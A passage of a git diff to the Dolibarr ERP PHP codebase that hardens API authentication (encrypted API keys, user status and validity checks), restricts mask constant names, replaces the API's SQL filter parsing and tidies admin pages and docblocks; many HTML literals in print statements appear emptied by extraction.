"", '', $sortfield, $sortorder, $align.' '); } } - print getTitleFieldOfList($langs->trans("Status"), 0, $_SERVER["PHP_SELF"], "status", ($page ? 'page='.$page.'&' : ''), "", 'align="center"', $sortfield, $sortorder); + // Status + print getTitleFieldOfList($langs->trans("Status"), 0, $_SERVER["PHP_SELF"], "status", ($page ? 'page='.$page.'&' : ''), "", '', $sortfield, $sortorder, 'center '); print getTitleFieldOfList(''); print getTitleFieldOfList(''); print ''; @@ -581,8 +594,11 @@ if ($id) { fieldListWebsites($fieldlist, $obj, $tabname[$id], 'edit'); } - print ''; + print ''; } else { $tmpaction = 'view'; $parameters = array('fieldlist'=>$fieldlist, 'tabname'=>$tabname[$id]); @@ -593,13 +609,16 @@ if ($id) { if (empty($reshook)) { foreach ($fieldlist as $field => $value) { $showfield = 1; - $align = "left"; $fieldname = $fieldlist[$field]; + $align = "left"; + if (in_array($fieldname, array('pageviews_total', 'pageviews_previous_month'))) { + $align = 'right'; + } $valuetoshow = $obj->$fieldname; // Show value for field if ($showfield) { - print ''; + print ''; } } } @@ -612,9 +631,10 @@ if ($id) { $url = $_SERVER["PHP_SELF"].'?'.($page ? 'page='.$page.'&' : '').'sortfield='.$sortfield.'&sortorder='.$sortorder.'&rowid='.(!empty($obj->rowid) ? $obj->rowid : (!empty($obj->code) ? $obj->code : '')).'&code='.(!empty($obj->code) ?urlencode($obj->code) : '').'&'; + // Active print '"; // Modify link @@ -633,6 +653,7 @@ if ($id) { } print '
       '; - print '  '; + print ''; + print ' '; + print ''; + print ''.$valuetoshow.''.$valuetoshow.''; - print ''.$actl[($obj->status ? 1 : 0)].''; + print ''.$actl[($obj->status ? 1 : 0)].''; print "
      '; + print ''; print ''; } @@ -668,6 +689,10 @@ function fieldListWebsites($fieldlist, $obj = '', $tabname = '', $context = '') $formadmin = new FormAdmin($db); foreach ($fieldlist as $field => $value) { + if (in_array($fieldlist[$field], array('lastaccess', 'pageviews_previous_month', 'pageviews_month', 'pageviews_total'))) { + continue; + } + $fieldname = $fieldlist[$field]; if ($fieldlist[$field] == 'lang') { diff --git a/htdocs/admin/workstation.php b/htdocs/admin/workstation.php index bdd7ba662cd..314e6d13a91 100644 --- a/htdocs/admin/workstation.php +++ b/htdocs/admin/workstation.php @@ -63,11 +63,11 @@ if (!$user->admin) { include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconstorder = GETPOST('maskconstWorkstation', 'alpha'); + $maskconst = GETPOST('maskconstWorkstation', 'aZ09'); $maskorder = GETPOST('maskWorkstation', 'alpha'); - if ($maskconstorder) { - $res = dolibarr_set_const($db, $maskconstorder, $maskorder, 'chaine', 0, '', $conf->entity); + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { + $res = dolibarr_set_const($db, $maskconst, $maskorder, 'chaine', 0, '', $conf->entity); } if (!($res > 0)) { diff --git a/htdocs/api/admin/index.php b/htdocs/api/admin/index.php index cd1208516e3..d618c65836b 100644 --- a/htdocs/api/admin/index.php +++ b/htdocs/api/admin/index.php @@ -71,7 +71,7 @@ if ($action == 'setproductionmode') { } // Disable compression mode -if ($action == 'setdisablecomprssion') { +if ($action == 'setdisablecompression') { $status = GETPOST('status', 'alpha'); if (dolibarr_set_const($db, 'API_DISABLE_COMPRESSION', $status, 'chaine', 0, '', 0) > 0) { @@ -118,11 +118,11 @@ print ''; print ''.$langs->trans("ApiProductionMode").''; $production_mode = (empty($conf->global->API_PRODUCTION_MODE) ?false:true); if ($production_mode) { - print ''; + print ''; print img_picto($langs->trans("Activated"), 'switch_on'); print ''; } else { - print ''; + print ''; print img_picto($langs->trans("Disabled"), 'switch_off'); print ''; } @@ -133,11 +133,11 @@ print ''; print ''.$langs->trans("API_DISABLE_COMPRESSION").''; $disable_compression = (empty($conf->global->API_DISABLE_COMPRESSION) ?false:true); if ($disable_compression) { - print ''; + print ''; print img_picto($langs->trans("Activated"), 'switch_on'); print ''; } else { - print ''; + print ''; print img_picto($langs->trans("Disabled"), 'switch_off'); print ''; } @@ -148,7 +148,7 @@ print ''; print ''.$langs->trans("RESTRICT_ON_IP"); print ' '.$langs->trans("Example").': '.$langs->trans("IPListExample"); print ''; -print ''; +print ''; print ''; print ''; print ''; diff --git a/htdocs/api/class/api.class.php b/htdocs/api/class/api.class.php index e0acc8faac8..3a1a176d818 100644 --- a/htdocs/api/class/api.class.php +++ b/htdocs/api/class/api.class.php @@ -302,6 +302,7 @@ class DolibarrApi // phpcs:disable PEAR.NamingConventions.ValidFunctionName.PublicUnderscore /** * Return if a $sqlfilters parameter is valid + * Function no more used. Kept for backward compatibility with old APIs of modules * * @param string $sqlfilters sqlfilter string * @param string $error Error message @@ -317,7 +318,8 @@ class DolibarrApi // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps // phpcs:disable PEAR.NamingConventions.ValidFunctionName.PublicUnderscore /** - * Function to forge a SQL criteria from a Generic filter string + * Function to forge a SQL criteria from a Generic filter string. + * Function no more used. Kept for backward compatibility with old APIs of modules * * @param array $matches Array of found string by regex search. * Each entry is 1 and only 1 criteria. diff --git a/htdocs/api/class/api_access.class.php b/htdocs/api/class/api_access.class.php index f885677225e..6402bdcb72e 100644 --- a/htdocs/api/class/api_access.class.php +++ b/htdocs/api/class/api_access.class.php @@ -1,6 +1,7 @@ * Copyright (C) 2016 Laurent Destailleur + * Copyright (C) 2023 Ferran Marcet * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -105,6 +106,9 @@ class DolibarrApiAccess implements iAuthenticate if (isset($_SERVER['HTTP_DOLAPIKEY'])) { // Param DOLAPIKEY in header can be read with HTTP_DOLAPIKEY $api_key = $_SERVER['HTTP_DOLAPIKEY']; // With header method (recommanded) } + if (preg_match('/^dolcrypt:/i', $api_key)) { + throw new RestException(503, 'Bad value for the API key. An API key should not start with dolcrypt:'); + } if ($api_key) { $userentity = 0; @@ -112,15 +116,15 @@ class DolibarrApiAccess implements iAuthenticate $sql = "SELECT u.login, u.datec, u.api_key, "; $sql .= " u.tms as date_modification, u.entity"; $sql .= " FROM ".MAIN_DB_PREFIX."user as u"; - $sql .= " WHERE u.api_key = '".$this->db->escape($api_key)."'"; - // TODO Check if 2 users has same API key. + $sql .= " WHERE u.api_key = '".$this->db->escape($api_key)."' OR u.api_key = '".$this->db->escape(dolEncrypt($api_key, '', '', 'dolibarr'))."'"; $result = $this->db->query($sql); if ($result) { - if ($this->db->num_rows($result)) { + $nbrows = $this->db->num_rows($result); + if ($nbrows == 1) { $obj = $this->db->fetch_object($result); $login = $obj->login; - $stored_key = $obj->api_key; + $stored_key = dolDecrypt($obj->api_key); $userentity = $obj->entity; if (!defined("DOLENTITY") && $conf->entity != ($obj->entity ? $obj->entity : 1)) { // If API was not forced with HTTP_DOLENTITY, and user is on another entity, so we reset entity to entity of user @@ -129,6 +133,8 @@ class DolibarrApiAccess implements iAuthenticate dol_syslog("Entity was not set on http header with HTTP_DOLAPIENTITY (recommanded for performance purpose), so we switch now on entity of user (".$conf->entity.") and we have to reload configuration.", LOG_WARNING); $conf->setValues($this->db); } + } elseif ($nbrows > 1) { + throw new RestException(503, 'Error when fetching user api_key : More than 1 user with this apikey'); } } else { throw new RestException(503, 'Error when fetching user api_key :'.$this->db->error_msg); @@ -142,12 +148,38 @@ class DolibarrApiAccess implements iAuthenticate if (!$login) { throw new RestException(503, 'Error when searching login user from api key'); } + + + $genericmessageerroruser = 'Error user not valid (not found or bad status or bad validity dates) (conf->entity='.$conf->entity.')'; + $fuser = new User($this->db); $result = $fuser->fetch('', $login, '', 0, (empty($userentity) ? -1 : $conf->entity)); // If user is not entity 0, we search in working entity $conf->entity (that may have been forced to a different value than user entity) if ($result <= 0) { - throw new RestException(503, 'Error when fetching user :'.$fuser->error.' (conf->entity='.$conf->entity.')'); + throw new RestException(503, $genericmessageerroruser); } + // Check if user status is enabled + if ($fuser->statut != $fuser::STATUS_ENABLED) { + // Status is disabled + dol_syslog("The user has been disabled"); + throw new RestException(503, $genericmessageerroruser); + } + + // Check if session was unvalidated by a password change + if (($fuser->flagdelsessionsbefore && !empty($_SESSION["dol_logindate"]) && $fuser->flagdelsessionsbefore > $_SESSION["dol_logindate"])) { + // Session is no more valid + dol_syslog("The user has a date for session invalidation = ".$fuser->flagdelsessionsbefore." and a session date = ".$_SESSION["dol_logindate"].". We must invalidate its sessions."); + throw new RestException(503, $genericmessageerroruser); + } + + // Check date validity + if ($fuser->isNotIntoValidityDateRange()) { + // User validity dates are no more valid + dol_syslog("The user login has a validity between [".$fuser->datestartvalidity." and ".$fuser->dateendvalidity."], curren date is ".dol_now()); + throw new RestException(503, $genericmessageerroruser); + } + + // User seems valid $fuser->getrights(); // Set the property $user to the $user of API diff --git a/htdocs/api/class/api_documents.class.php b/htdocs/api/class/api_documents.class.php index 2c7653c3bb3..d7fd1ea7118 100644 --- a/htdocs/api/class/api_documents.class.php +++ b/htdocs/api/class/api_documents.class.php @@ -461,7 +461,7 @@ class Documents extends DolibarrApi } elseif ($modulepart == 'knowledgemanagement') { require_once DOL_DOCUMENT_ROOT.'/knowledgemanagement/class/knowledgerecord.class.php'; - if (!DolibarrApiAccess::$user->rights->knowledgemanagement->knowledgerecord->read && !DolibarrApiAccess::$user->rights->knowledgemanagement->knowledgerecord->read) { + if (!DolibarrApiAccess::$user->hasRight('knowledgemanagement', 'knowledgerecord', 'read') && !DolibarrApiAccess::$user->hasRight('knowledgemanagement', 'knowledgerecord', 'read')) { throw new RestException(401); } @@ -506,6 +506,11 @@ class Documents extends DolibarrApi throw new RestException(500, 'Modulepart '.$modulepart.' not implemented yet.'); } + $objectType = $modulepart; + if (! empty($object->id) && ! empty($object->table_element)) { + $objectType = $object->table_element; + } + $filearray = dol_dir_list($upload_dir, $type, $recursive, '', '(\.meta|_preview.*\.png)$', $sortfield, (strtolower($sortorder) == 'desc' ?SORT_DESC:SORT_ASC), 1); if (empty($filearray)) { throw new RestException(404, 'Search for modulepart '.$modulepart.' with Id '.$object->id.(!empty($object->ref) ? ' or Ref '.$object->ref : '').' does not return any document.'); @@ -513,11 +518,14 @@ class Documents extends DolibarrApi if (($object->id) > 0 && !empty($modulepart)) { require_once DOL_DOCUMENT_ROOT.'/ecm/class/ecmfiles.class.php'; $ecmfile = new EcmFiles($this->db); - $result = $ecmfile->fetchAll('', '', 0, 0, array('t.src_object_type' => $modulepart, 't.src_object_id' => $object->id)); + $result = $ecmfile->fetchAll('', '', 0, 0, array('t.src_object_type' => $objectType, 't.src_object_id' => $object->id)); if ($result < 0) { throw new RestException(503, 'Error when retrieve ecm list : '.$this->db->lasterror()); } elseif (is_array($ecmfile->lines) && count($ecmfile->lines) > 0) { - $filearray['ecmfiles_infos'] = $ecmfile->lines; + $count = count($filearray); + for ($i = 0 ; $i < $count ; $i++) { + if ($filearray[$i]['name'] == $ecmfile->lines[$i]->filename) $filearray[$i] = array_merge($filearray[$i], (array) $ecmfile->lines[0]); + } } } } @@ -599,6 +607,7 @@ class Documents extends DolibarrApi if ($ref) { $tmpreldir = ''; + $fetchbyid = false; if ($modulepart == 'facture' || $modulepart == 'invoice') { $modulepart = 'facture'; @@ -658,13 +667,22 @@ class Documents extends DolibarrApi $modulepart = 'propale'; require_once DOL_DOCUMENT_ROOT.'/comm/propal/class/propal.class.php'; $object = new Propal($this->db); + } elseif ($modulepart == 'contact' || $modulepart == 'socpeople') { + $modulepart = 'contact'; + require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; + $object = new Contact($this->db); + $fetchbyid = true; } else { // TODO Implement additional moduleparts throw new RestException(500, 'Modulepart '.$modulepart.' not implemented yet.'); } if (is_object($object)) { - $result = $object->fetch('', $ref); + if ($fetchbyid) { + $result = $object->fetch($ref); + } else { + $result = $object->fetch('', $ref); + } if ($result == 0) { throw new RestException(404, "Object with ref '".$ref."' was not found."); @@ -738,12 +756,12 @@ class Documents extends DolibarrApi if ($fhandle) { $nbofbyteswrote = fwrite($fhandle, $newfilecontent); fclose($fhandle); - @chmod($destfiletmp, octdec($conf->global->MAIN_UMASK)); + dolChmod($destfiletmp); } else { throw new RestException(500, "Failed to open file '".$destfiletmp."' for write"); } - $result = dol_move($destfiletmp, $destfile, 0, $overwriteifexists, 1); + $result = dol_move($destfiletmp, $destfile, 0, $overwriteifexists, 1, 1); if (!$result) { throw new RestException(500, "Failed to move file into '".$destfile."'"); } diff --git a/htdocs/api/class/api_login.class.php b/htdocs/api/class/api_login.class.php index d5362f4ac56..7cad862b3be 100644 --- a/htdocs/api/class/api_login.class.php +++ b/htdocs/api/class/api_login.class.php @@ -18,6 +18,7 @@ use Luracast\Restler\RestException; +require_once DOL_DOCUMENT_ROOT.'/core/lib/security.lib.php'; require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php'; /** @@ -121,6 +122,9 @@ class Login include_once DOL_DOCUMENT_ROOT.'/core/lib/security2.lib.php'; $login = checkLoginPassEntity($login, $password, $entity, $authmode, 'api'); // Check credentials. + if ($login === '--bad-login-validity--') { + $login = ''; + } if (empty($login)) { throw new RestException(403, 'Access denied'); } @@ -149,7 +153,7 @@ class Login // We store API token into database $sql = "UPDATE ".MAIN_DB_PREFIX."user"; - $sql .= " SET api_key = '".$this->db->escape($token)."'"; + $sql .= " SET api_key = '".$this->db->escape(dolEncrypt($token, '', '', 'dolibarr'))."'"; $sql .= " WHERE login = '".$this->db->escape($login)."'"; dol_syslog(get_class($this)."::login", LOG_DEBUG); // No log diff --git a/htdocs/api/class/api_setup.class.php b/htdocs/api/class/api_setup.class.php index 9dcd168f344..ca9f3d97ce6 100644 --- a/htdocs/api/class/api_setup.class.php +++ b/htdocs/api/class/api_setup.class.php @@ -77,11 +77,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -141,11 +140,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -206,11 +204,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -277,11 +274,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -319,8 +315,8 @@ class Setup extends DolibarrApi /** * Get state by ID. * - * @param int $id ID of state - * @return array Array of cleaned object properties + * @param int $id ID of state + * @return Object Object with cleaned properties * * @url GET dictionary/states/{id} * @@ -334,8 +330,8 @@ class Setup extends DolibarrApi /** * Get state by Code. * - * @param string $code Code of state - * @return array Array of cleaned object properties + * @param string $code Code of state + * @return Object Object with cleaned properties * * @url GET dictionary/states/byCode/{code} * @@ -378,11 +374,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -424,10 +419,9 @@ class Setup extends DolibarrApi /** * Get country by ID. * - * @param int $id ID of country - * @param string $lang Code of the language the name of the - * country must be translated to - * @return array Array of cleaned object properties + * @param int $id ID of country + * @param string $lang Code of the language the name of the country must be translated to + * @return Object Object with cleaned properties * * @url GET dictionary/countries/{id} * @@ -441,10 +435,9 @@ class Setup extends DolibarrApi /** * Get country by Code. * - * @param string $code Code of country (2 characters) - * @param string $lang Code of the language the name of the - * country must be translated to - * @return array Array of cleaned object properties + * @param string $code Code of country (2 characters) + * @param string $lang Code of the language the name of the country must be translated to + * @return Object Object with cleaned properties * * @url GET dictionary/countries/byCode/{code} * @@ -458,10 +451,9 @@ class Setup extends DolibarrApi /** * Get country by Iso. * - * @param string $iso ISO of country (3 characters) - * @param string $lang Code of the language the name of the - * country must be translated to - * @return array Array of cleaned object properties + * @param string $iso ISO of country (3 characters) + * @param string $lang Code of the language the name of the country must be translated to + * @return Object Object with cleaned properties * * @url GET dictionary/countries/byISO/{iso} * @@ -475,9 +467,9 @@ class Setup extends DolibarrApi /** * Get state. * - * @param int $id ID of state - * @param string $code Code of state - * @return array Array of cleaned object properties + * @param int $id ID of state + * @param string $code Code of state + * @return Object Object with cleaned properties * * @throws RestException */ @@ -498,12 +490,11 @@ class Setup extends DolibarrApi /** * Get country. * - * @param int $id ID of country - * @param string $code Code of country (2 characters) - * @param string $iso ISO of country (3 characters) - * @param string $lang Code of the language the name of the - * country must be translated to - * @return array Array of cleaned object properties + * @param int $id ID of country + * @param string $code Code of country (2 characters) + * @param string $iso ISO of country (3 characters) + * @param string $lang Code of the language the name of the country must be translated to + * @return Object Object with cleaned properties * * @throws RestException */ @@ -527,12 +518,12 @@ class Setup extends DolibarrApi /** * Get the list of delivery times. * - * @param string $sortfield Sort field - * @param string $sortorder Sort order - * @param int $limit Number of items per page - * @param int $page Page number {@min 0} - * @param int $active Delivery times is active or not {@min 0} {@max 1} - * @param string $sqlfilters SQL criteria to filter with. + * @param string $sortfield Sort field + * @param string $sortorder Sort order + * @param int $limit Number of items per page + * @param int $page Page number {@min 0} + * @param int $active Delivery times is active or not {@min 0} {@max 1} + * @param string $sqlfilters SQL criteria to filter with. * * @url GET dictionary/availability * @@ -554,11 +545,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -592,8 +582,8 @@ class Setup extends DolibarrApi /** * Clean sensible object datas * - * @param Object $object Object to clean - * @return Object Object with cleaned properties + * @param Object $object Object to clean + * @return Object Object with cleaned properties */ protected function _cleanObjectDatas($object) { @@ -669,11 +659,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -733,11 +722,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -802,11 +790,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -868,11 +855,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -943,11 +929,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1014,11 +999,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -1088,11 +1072,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1153,11 +1136,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1213,11 +1195,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1274,11 +1255,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1337,11 +1317,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1396,11 +1375,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1462,11 +1440,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1523,11 +1500,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1586,11 +1562,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1650,11 +1625,10 @@ class Setup extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } @@ -1686,6 +1660,68 @@ class Setup extends DolibarrApi return $list; } + /** + * Get the list of incoterms. + * + * @param string $sortfield Sort field + * @param string $sortorder Sort order + * @param int $limit Number of items per page + * @param int $page Page number (starting from zero) + * @param int $active Payment term is active or not {@min 0} {@max 1} + * @param string $lang Code of the language the label of the type 